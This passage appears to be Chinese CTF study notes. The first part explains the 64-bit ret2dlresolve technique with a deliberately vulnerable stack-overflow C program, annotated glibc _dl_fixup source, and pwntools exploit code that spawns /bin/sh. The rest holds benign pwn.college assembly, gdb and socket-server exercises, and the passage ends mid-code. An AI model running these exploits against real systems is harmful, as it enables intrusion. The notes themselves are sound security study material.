 b'system\x00',
)
payload += (80-len(payload))*b'a'+b'/bin/sh\x00'
payload = payload.ljust(0x100, b'\x00')
se(payload)
ia()

64位

1
2
3
4
5
6
7
8
9


#include <stdio.h>

int main(){
 char content[0x100];
 read(0, content, 0x180);
 return 0;
}

gcc ./pwn -o pwn -no-pie -fno-stack-protector -z norelro

所以，Elf64_Sym 的大小为 24 个字节。

Elf64_Sym结构体

1
2
3
4
5
6
7
8
9


typedef struct
{
 Elf64_Word st_name; /* Symbol name (string tbl index) 32位*/
 unsigned char st_info; /* Symbol type and binding */
 unsigned char st_other; /* Symbol visibility */
 Elf64_Section st_shndx; /* Section index 16位*/
 Elf64_Addr st_value; /* Symbol value 64位*/
 Elf64_Xword st_size; /* Symbol size 64位*/
} Elf64_Sym;

并且在64位plt 中的代码 push 的是待解析符号在重定位表中的索引，而不是偏移。

Elf_Rel 结构体，增加了 r_addend

1
2
3
4
5


typedef struct{
 Elf64_Addr r_offset; /* Address */
 Elf64_Xword r_info; /* Relocation type and symbol index */
 Elf64_Sxword r_addend; /* Addend */
}Elf64_Rela;

如果是直接像 32 位的做法直接伪造 realoc_index，那么会因为 _dl_fixup 函数执行时候访问到错误的内存地址而奔溃

结合_dl_fixup进行源码分析，如glibc-2.23/elf/dl-runtime.c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86


_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) // 第一个参数link_map，也就是got[1]
{
 // 获取link_map中存放DT_SYMTAB的地址
 const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
 // 获取link_map中存放DT_STRTAB的地址
 const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
 // reloc_offset就是reloc_arg,获取重定位表项中对应函数的结构体
 const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
 // 根据重定位结构体的r_info得到symtab表中对应的结构体
 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

 void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
 lookup_t result;
 DL_FIXUP_VALUE_TYPE value;

 /* Sanity check that we're really looking at a PLT relocation. */
 assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 检查r_info的最低位是不是7

 /* Look up the target symbol. If the normal lookup rules are not
 used don't look in the global scope. */
 if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) // 这里是一层检测，检查sym结构体中的st_other是否为0，正常情况下为0，执行下面代码
 {
 const struct r_found_version *version = NULL;
 // 这里也是一层检测，检查link_map中的DT_VERSYM是否为NULL，正常情况下不为NULL，执行下面代码
 if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
 {
 //到了这里就是64位下报错的位置，在计算版本号时，vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中，由于我们一般伪造的symtab位于bss段
 //就导致在64位下reloc->r_info比较大,故程序会发生错误。所以要使程序不发生错误，自然想到的办法就是不执行这里的代码，分析上面的代码我们就可以得到两种手段
 //第一种手段就是使上一行的if不成立，也就是设置link_map中的DT_VERSYM为NULL，那我们就要泄露出link_map的地址，而如果我们能泄露地址，根本用不着ret2dlresolve。
 //第二种手段就是使最外层的if不成立，也就是使sym结构体中的st_other不为0，直接跳到后面的else语句执行。
 const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
 ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
 version = &l->l_versions[ndx];
 if (version->hash == 0)
 version = NULL;
 }

 /* We need to keep the scope around so do some locking. This is
 not necessary for objects which cannot be unloaded or when
 we are not using any threads (yet). */
 int flags = DL_LOOKUP_ADD_DEPENDENCY;
 if (!RTLD_SINGLE_THREAD_P)
 {
 THREAD_GSCOPE_SET_FLAG ();
 flags |= DL_LOOKUP_GSCOPE_LOCK;
 }

 RTLD_ENABLE_FOREIGN_CALL;
 // 在32位情况下，上面代码运行中不会出错，就会走到这里，这里通过strtab+sym->st_name找到符号表字符串，result为libc基地址
 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
 version, ELF_RTYPE_CLASS_PLT, flags, NULL);

 /* We are done with the global scope. */
 if (!RTLD_SINGLE_THREAD_P)
 THREAD_GSCOPE_RESET_FLAG ();

 RTLD_FINALIZE_FOREIGN_CALL;

 /* Currently result contains the base load address (or link map)
 of the object that defines sym. Now add in the symbol
 offset. */
 // 同样，如果正常执行，接下来会来到这里，得到value的值，为libc基址加上要解析函数的偏移地址，也即实际地址，即result+st_value
 value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
 }
 else
 {
 // 这里就是64位下利用的关键，在最上面的if不成立后，就会来到这里,这里value的计算方式是 l->l_addr + st_value,我们的目的是使value为我们所需要的函数的地址，所以就得控制两个参数，l_addr 和 st_value
 /* We already found the symbol. The module (and therefore its load
 address) is also known. */
 value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
 result = l;
 }

 /* And now perhaps the relocation addend. */
 value = elf_machine_plt_value (l, reloc, value);

 if (sym != NULL
 && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
 value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

 /* Finally, fix up the plt itself. */
 if (__glibc_unlikely (GLRO(dl_bind_not)))
 return value;
 // 最后把value写入相应的GOT表条目中
 return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

来自www.cnblogs.com/xshhc/p/17335007.html

总结来说，要绕过这一次_dl_fixup的检测，我们需要

让Elf64_Sym中的st_other=0
控制l->l_addr=system_libc-a_libc; sym->st_value=a_got a为已经解析过的一个函数

上面两个实现以后，就可以有

l->l_addr+sym->st_value=system_libc-a_libc+a_got=system_libc_real

因此需要伪造Elf_Sym以及link_map
在64位中的link_map发生了较大的变化，不过我们只需要知道这一次的.dynsym .dynstr以及.rel.plt是从l->l_info[]中取出的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


//0x68 strtab
//0x70 symtab
//0xf8 relplt
struct link_map {
 Elf64_Addr l_addr;
 char *l_name;
 Elf64_Dyn *l_ld;
 struct link_map *l_next;
 struct link_map *l_prev;
 struct link_map *l_real;
 Lmid_t l_ns;
 struct libname_list *l_libname;
 Elf64_Dyn *l_info[76];
...
}

对应的偏移也发生了改变

.dynstr 指针：位于 .dynamic +0x88 (32位下是0x44)

.dynsym 指针：位于 .dynamic + 0x98 (32位下是0x4c)

.rel.plt 指针：位于 .dynamic +0x108 (32位下是0x84)

以moectf2025 no_way_to_leak为例

然后我们来查看一下l_info和.dynamic段这些指针的关系

DT_STRTAB指针：位于 link_map_addr +0x68(32位下是0x34)

DT_SYMTAB指针：位于 link_map_addr + 0x70(32位下是0x38)

DT_JMPREL指针：位于 link_map_addr +0xF8(32位下是0x7C)

然后通过取出这些指针的值然后+0x8就可以拿到dynamic段的对应地址了

我们需要修改 link_map 中的 l_addr 为 system_libc - a_libc 的值， l_info 中的 DT_STRTAB指针、DT_SYMTAB指针、DT_JMPREL指针来伪造 .dynstr 、 .dynsym、.rel.plt 段。并且在 fake_Elf_Sym 结构体中的 st_value 为一个已经解析过的（ a ）函数的 got 表地址。

只需要修改 fake_Elf_Sym 为 a 函数的 got 表地址 - 0x8，那么顺带着 sym -> st_other != 0 的条件也会满足。由于 link_map 结构体比较大，因此我们也将 fake_Elf_Sym 结构体和 “/bin/sh\x00” 也写进去

‍

直接使用pwntools的工具

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


rop = ROP(elf)
rop.raw(rop.ret.address)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()

payload = flat({
 120: raw_rop,
 256: dlresolve.payload
})
sl(payload)
io.interactive()

可能的问题

在_dl_fixup函数中报错了？

如果你使用了栈迁移，那么可以检查栈和dlresolve的payload是否离bss起始地址太近。

在_dl_runtime_resolve函数中，程序会对栈进行多次抬高和降低操作，因此需要将这些数据尽量放到更远的地方。

还有，确定好你的Elf32_Sym结构体是正常十六字节对齐的，并且偏移正确

NO RELRO的情况下需要修改DYNAMIC段的指针，而IDA中该指针位于IDA看不到的地方，怎么办？

你是否已经patch了libc ？如果是，请用一个没有patch的附件进行查看。

若没有，那么请参照如下方式：

使用pwntools来查看dynstr表的地址：

1

print(hex(elf.get_section_by_name('.dynstr').header.sh_addr))

然后在gdb中使用search -8来搜索该地址，如上一步中若得到值0x3fd450，则在gdb中搜索如下：

1

search -8 0x3fd450

或者在pwntools中查找dynamic地址：

1

print(hex(elf.get_section_by_name('.dynamic').header.sh_addr))

并使用gdb在这一段来查找上一步中找到的dynstr地址。

参考链接

Computing101 collections

Wed, 01 Oct 2025 20:06:00 +0000

computing 101

hello hackers

writing output

1
2
3
4
5


mov rdi,1
mov rsi,1337000
mov rdx,1
mov rax,1
syscall

chaining syscalls

同时设置两个系统调用，要做的就是分成两部分去设置就行

1
2
3
4
5
6
7
8
9


mov rdi,1
mov rsi,1337000
mov rdx,1
mov rax,1
syscall

mov rdi,42
mov rax,60
syscall

‍

assemble crash course

调试：由于环境中是用python进行的模拟，因此无法gdb调试，但如果我们在汇编中加入int 3，那么模拟器会打印出现在的寄存器和内存情况

重复多的我直接写汇编，或者直接跳过了(

4 linear-equatation-registers

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
imul rdi,rsi
add rdi,rdx
mov rax,rdi
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

‍

5 interger-division

寄存器进行整除操作

x86除法指令的特殊性

div 指令用于128位被除数 ÷ 64位除数：

被除数：rdx:rax（128位，高64位在rdx，低64位在rax）
除数：指定的寄存器
结果：
- rax = 商（quotient）
- rdx = 余数（remainder）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
mov rax,rdi
xor rdx,rdx ;由于高64bit存储了rdx,防止出错
div rsi
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

‍

6 modulo-operation

将mod的余数放入rax，前面除法的时候高64bit放了rdx,低64bit放了rax

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
mov rax,rdi
xor rdx,rdx
div rsi
mov rax,rdx
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

7 set upper byte

x86的寄存器结构图，x86的好处在于通过名字我们可以轻松控制寄存器中不同长度的数字从64bit到32bit到16bit再到8bit

mov ah,0x42

8 efficient modulo

x % y，如果y为$2^n$那么我们就可以得到x=n

要求

rax = rdi % 256
rbx = rsi % 65536

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
mov al,dil
mov bx,si
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

9 byte-extraction

对二进制进行操作，我们需要用到and or xor not等逻辑操作

shl和shr，shift once to the left和shift once to the right

shl reg1,reg2(reg2可以替换成地址）

1
2


rdi = | B7 | B6 | B5 | B4 | B3 | B2 | B1 | B0 |
Set rax to the value of B4

‍

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20




from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
mov rax,rdi
shr rax,32
shl rax,56
shr rax,56
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

10 bitwise and

‍

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
and rdi,rsi
xor rax,rax
add rax,rdi
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

11 check even

1
2
3
4


if x is even then
 y = 1
else
 y = 0

可以用xor 1来进行反转判断

1
2
3
4


xor rax,rax
or rax,rdi ;rax=rdi
and rax,1 ; 1的话->0，后面反转奇数判断
xor rax,1

12 memory read-14 memory increment

mov rax,[0x404000]

mov [0x404000],rax

关于解析指针所在位置字节

byte ptr - 8位
word ptr - 16位
dword ptr - 32位
qword ptr - 64位

我们在移动数据到指定寄存器或地址的时候要注意不会清除高位字节

mov al, [0x404000]

15 memory size access

1
2
3
4


mov al,[0x404000]
mov bx,[0x404000]
mov ecx,[0x404000]
mov rdx,[0x404000]

16 little-endian-write

注意，不能直接将大常数移动到内存地址，但可以通过寄存器间接传递

1
2
3
4
5


mov rax,0xdeadbeef00001337
mov [rdi],rax
mov rax,0xc0ffee0000
mov [rsi],rax
int3

17 memory-sum

通过将地址or寄存器指向地址+offset可以解析到不同的值，这题需要两个qword

而64位寄存器本身存储就是qword,因此直接用偏移

1
2
3
4


mov rcx,[rdi]
mov rdx,[rdi+8]
add rdx,rcx
mov [rsi],rdx

18 stack-subtraction

1
2
3


pop rdx
sub rdx,rdi
push rdx

19 swap-stack-value

1
2
3
4
5
6


push rdi
pop rdx
push rsi
pop rdi
push rdx
pop rsi

20 average-stack-values

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


mov rax,[rsp]
mov rbx,[rsp+8]
mov rcx,[rsp+16]
mov rdx,[rsp+24]

add rax,rbx
add rax,rcx
add rax,rdx
shr rax,2
push rax

‍

21 absolute jump

There are two major ways to manipulate control flow:

Through a jump
Through a call
相对跳转：jmp +0x10 或 jmp -0x5（相对于当前指令）
绝对跳转：通过寄存器间接跳转，如 jmp rax
间接跳转：jmp [rax]（跳转到 rax 指向的内存地址中的值）

1
2


mov rax,0x403000
jmp rax

‍

22 relative jump

使用nop进行填充

并使用段落进行repeat

GNU assembler archive

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
jmp target
.rept 0x51
nop
.endr
target:
mov rax,0x1
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

‍

23 jump-trampoline

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
jmp target
.rept 0x51
nop
.endr
target:
pop rdi
mov rax,0x403000
jmp rax
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

‍

24 conditional-jump

利用jne和je指令(jmp if not equal;和jmp if euqal)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
cmp dword ptr [edi],0x7f454c46
jne check_second

mov eax,[edi+4]
add eax,[edi+8]
add eax,[edi+12]
jmp end

check_second:
cmp dword ptr [edi],0x00005A4D
jne done

mov eax,[edi+4]
sub eax,[edi+8]
sub eax,[edi+12]
jmp end

done:
mov eax,[edi+4]
imul eax,[edi+8]
imul eax,[edi+12]

end:
nop
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

end分支来防止执行多余指令

25 indirect jump

题目会给出随机测试数据，根据测试数据来进行对应跳转（case）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
cmp rdi,3
ja default
jmp [rsi+rdi*8]
default:
jmp [rsi+32]
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

26 average-loop

用rcx作为计数器，rsi作为除数，div的时候为了防止出现rdx干扰要置0

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
xor rax,rax
mov rcx,rsi
test rcx,rcx
jz done

sum_loop:
add rax,[rdi]
add rdi,8
dec rcx
jnz sum_loop

mov rdx,0
div rsi

done:
nop
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

27 count no-zero

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
.intel_syntax noprefix
mov rax,0
mov rsi,0
test rdi,rdi
jz .done

.loop:
 cmp byte ptr[rdi],0
 je .done
 add rax,1
 add rdi,1
 jmp .loop
.done:
nop
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

‍

28 string-lower

1
2
3


0x1021 mov rax, 0x400000
0x1028 call rax
0x102a mov [rsi], rax

call pushes 0x102a, the address of the next instruction, onto the stack.
call jumps to 0x400000, the value stored in rax.

‍

ret pops the top value off of the stack and jumps to it.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
str_lower:
 mov rbx,0x403000
 xor rcx,rcx
 test rdi,rdi
 jz done
string_read:
 mov al,byte ptr [rdi]
 test al,al
 jz done ;如果是NULL直接结束
 cmp al,0x5A ;大于'Z'不是大写字母
 ja next_char
 mov rsi,rdi ;保存字符串地址到rsi,稍后恢复
 mov dil,al ;rsi和dil作为foo的参数
 call rbx
 mov rdi,rsi
 mov byte ptr [rdi],al ;转换后的字节放入[rdi]
 inc rcx
next_char:
 inc rdi ;src_addr存储在rdi，[rdi]为字节的值
 jmp string_read
done:
 mov rax,rcx
 ret
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

‍

29 most-common-byte

最终挑战

rbp确认函数的栈基地址

我们要完成

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


most_common_byte(src_addr, size):
 i = 0
 while i <= size-1:
 curr_byte = [src_addr + i]
 [stack_base - curr_byte * 2] += 1
 i += 1

 b = 0
 max_freq = 0
 max_freq_byte = 0
 while b <= 0xff:
 if [stack_base - b * 2] > max_freq:
 max_freq = [stack_base - b * 2]
 max_freq_byte = b
 b += 1

 return max_freq_byte

限制：

counting_list放在栈上
You must restore the stack like in a normal function
不能修改放在src_addr的数据

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52


from pwn import *
context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
most_common_byte:
 push rbp
 mov rbp,rsp
 sub rsp,0x100 ;开拓栈空间
 xor rcx,rcx ;rcx作为个数计数器置0
initial:
 mov byte ptr [rbp-256+rcx],0 ;将rcx作为索引进行存储
 inc rcx ;byte ptr rcx移动到下一位
 cmp rcx,0x100 ;是否移动到输入字符尾部
 jl initial ;如果没有则继续输入
 xor rcx,rcx ;重新置0计数器
count_bytes:
 movzx rax,byte ptr [rdi+rcx] ;将输入的字符放入rax
 inc byte ptr [rbp-256+rax] ;新增该字符的计数
 inc rcx
 cmp rcx,rsi ;rsi为字符串长度
 jl count_bytes
initial_maxfreq_and_byte:
 xor rcx,rcx ;索引同时最低位为字节
 xor rdx,rdx ;频率
 xor rbx,rbx ;存储字节
find_most_common_byte:
 movzx rax,byte ptr [rbp-256+rcx]
 cmp al,dl
 jle next_byte
new_max:
 mov dl,al ;更新最大频率
 mov bl,cl ;更新字节
next_byte:
 inc rcx
 cmp rcx,0x100
 jl find_most_common_byte
return:
 mov al,bl ;返回结果，最终结果写入al
restore:
 mov rsp,rbp
 pop rbp
 ret ;恢复前一个栈帧
""")
print(VIO_TEXT(code))
p = process('/challenge/run')
p.send(code)
p.interactive()

‍

gdb

level 4

程序在main+626处进行比较

而我们

在这之前取出的$rbp-0x18是比较的值，我们打好断点在输入前然后取出进行输入即可

随机值存储：[rbp-0x18]
用户输入存储：[rbp-0x10]
循环计数器：[rbp-0x1c]（0-3）

‍

level5

shit题

我们可能要用到这些文档

我们把challenge文件dump下来，IDA分析

根据题目的提示，我们需要将断点下载合适的地方，并设置需要的值后继续操作

‍

level8

如果+12的地方执行了的话，那么rax=0,从而之后会触发segment fault

因此需要跳过

1
2
3
4


r
x/40i win
set $rip=win+35
c

‍

webserver

使用方法

‍

exit

我们运行的时候会给出提示

可以根据要求创建可执行文件，也可以直接使用pwntools

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


from pwn import *
import os

context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
 mov rdi, 0
 mov rax, 60
 syscall
""")

print(VIO_TEXT("生成的机器码:"))
print(code)

# 创建可执行文件
elf = make_elf(code)

# 保存为server文件
with open('server', 'wb') as f:
 f.write(elf)

# 给执行权限
os.chmod('server', 0o755) #0o=八进制

p = process(['/challenge/run', './server'])
p.interactive()

socket

简单理解的话socket就是一个为了让用户可以与内核层进行交互的中间层，将套接字sock得以迁入文件系统，用户在空间中使用文件句柄socket_fd来操作内核sock，实现网络传输功能

其结构为socket(AF_INET, SOCK_STREAM, 0)

我们要在/usr/include下找到对应文件中常量的值

1
2
3
4
5


# 查找 AF_INET 的值
grep -r "AF_INET" /usr/include/ | grep "#define" # 2

# 查找 socket 系统调用号
grep -r "__NR_socket" /usr/include/

typeSOCK_STREAM定义为TCP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


from pwn import *
import os

context(arch='amd64', os='linux')

# 创建socket的汇编代码
assembly = """
 /* socket(AF_INET, SOCK_STREAM, 0) */
 mov rdi, 2 /* AF_INET = 2 */
 mov rsi, 1 /* SOCK_STREAM = 1 */
 mov rdx, 0 /* protocol = 0 */
 mov rax, 41 /* SYS_socket = 41 */
 syscall

 /* exit(0) */
 mov rdi, 0
 mov rax, 60
 syscall
"""

# 编译并创建可执行文件
shellcode = asm(assembly)
elf = make_elf(shellcode)

with open('server', 'wb') as f:
 f.write(elf)

os.chmod('server', 0o755)

print("Socket服务器已创建，运行挑战...")
p = process(['/challenge/run', './server'])
p.interactive()

bind

创建好socket层之后，下一步通过bind 系统调用去将socket绑定到特定的IP地址和端口，我们需要提供

1
2
3
4
5
6
7
8
9


/* Get the definition of the macro to define the common sockaddr members. */
#include <bits/sockaddr.h>

/* Structure describing a generic socket address. */
struct __attribute_struct_may_alias__ sockaddr
 {
 __SOCKADDR_COMMON (sa_); /* Common data: address family and length. */
 char sa_data[14]; /* Address data. */
 };

初始代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58


from pwn import *
import os

context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
 /* socket */
 mov rdi,2
 mov rsi,1
 mov rdx,0
 mov rax,41
 syscall

 /* socket fd */
 mov r12,rax

 /*struct sockaddr_in 8080=0x1f90,*/
 sub rsp,16

 mov word ptr [rsp],2 #AF_INET
 mov word ptr [rsp+2],0x901f
 mov dword ptr [rsp+4],0
 mov qword ptr [rsp+8],0

 /* bind function */
 mov rdi,r12
 mov rsi,rsp
 mov rdx,16
 mov rax,49
 syscall


 /*exit*/
 mov rdi,0
 mov rax,60
 syscall
""")

print(VIO_TEXT("生成的机器码:"))
print(code)

# 创建可执行文件
elf = make_elf(code)

# 保存为server文件
with open('server', 'wb') as f:
 f.write(elf)

# 给执行权限
os.chmod('server', 0o755)

p = process(['/challenge/run', './server'])
p.interactive()

发现绑定的端口出现了错误

修改

mov word ptr [rsp+2],0x901f为mov word ptr [rsp+2],0x5000即可（网络字节序为大端）

‍

Listen

1

int listen(int sockfd, int backlog);

sockfd为socket文件句柄，backlog为等待连接队列的最大长度

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


code = asm("""
 /* socket */
 mov rdi,2
 mov rsi,1
 mov rdx,0
 mov rax,41
 syscall

 /* socket fd */
 mov r12,rax

 /*struct sockaddr_in 80=0x5000,*/
 sub rsp,16

 mov word ptr [rsp],2 #AF_INET
 mov word ptr [rsp+2],0x5000
 mov dword ptr [rsp+4],0
 mov qword ptr [rsp+8],0

 /* bind */
 mov rdi,r12
 mov rsi,rsp
 mov rdx,16
 mov rax,49
 syscall

 /* listen */
 mov rdi,r12 /*sockfd*/
 mov rsi,0 /*backlog=0*/
 mov rax,50
 syscall

 /*exit*/
 mov rdi,0
 mov rax,60
 syscall
""")

其他部分不变，添加listen

accept

1
2


 int accept(int sockfd, struct sockaddr *_Nullable restrict addr,
 socklen_t *_Nullable restrict addrlen);

grep -r "__NR_accept" /usr/include/-43

添加

1
2
3
4
5
6
7


 /* accept */
 /*accpet(sockfd, &client_addr, &addr_len)*/
 mov rdi,r12
 mov rsi,0
 mov rdx,0
 mov rax,43
 syscall

‍

static response

本来尝试加入了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


 /* accept */
 /*accpet(sockfd, &client_addr, &addr_len)*/
 mov rdi,r12
 mov rsi,0
 mov rdx,0
 mov rax,43
 syscall

 mov r13,rax /*socket fd from client*/

 /* ready for http response */
 sub rsp,32

 /* read for bytes to write */
 mov qword ptr [rsp],0x0a0d0a0d4b4f2030
 mov qword ptr [rsp+8],0x312e302f50545448
 mov byte ptr [rsp+16],0

 /* send http */
 mov rdi,r13 /* client fd */
 mov rsi,rsp /* pointer to buf*/
 mov rdx,17
 mov rax,1
 syscall

结果发现解析失败了？？

不允许mov qword ptr 8字节数据的用法

于是修改，注意还要加入read(fd,buffer,len)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


 /* read */
 sub rsp, 0x100
 mov rdi, r13
 mov rsi, rsp
 mov rdx, 0x100
 xor rax, rax
 syscall

 /* bytes to write */
 sub rsp, 32
 mov dword ptr [rsp], 0x50545448
 mov dword ptr [rsp+4], 0x302e312f
 mov dword ptr [rsp+8], 0x30303220
 mov dword ptr [rsp+12], 0x0d4b4f20
 mov word ptr [rsp+16], 0x0d0a
 mov byte ptr [rsp+18], 0x0a

 /* send http */
 mov rdi,r13 /* client fd */
 mov rsi,rsp /* pointer to buf*/
 mov rdx,19
 mov rax,1
 syscall

 /*close*/
 mov rdi,r13
 mov rax,3
 syscall

dynamic response

会稍微复杂一些

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139


from pwn import *
import os

context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
 /* socket */
 mov rdi,2
 mov rsi,1
 mov rdx,0
 mov rax,41
 syscall

 /* socket fd */
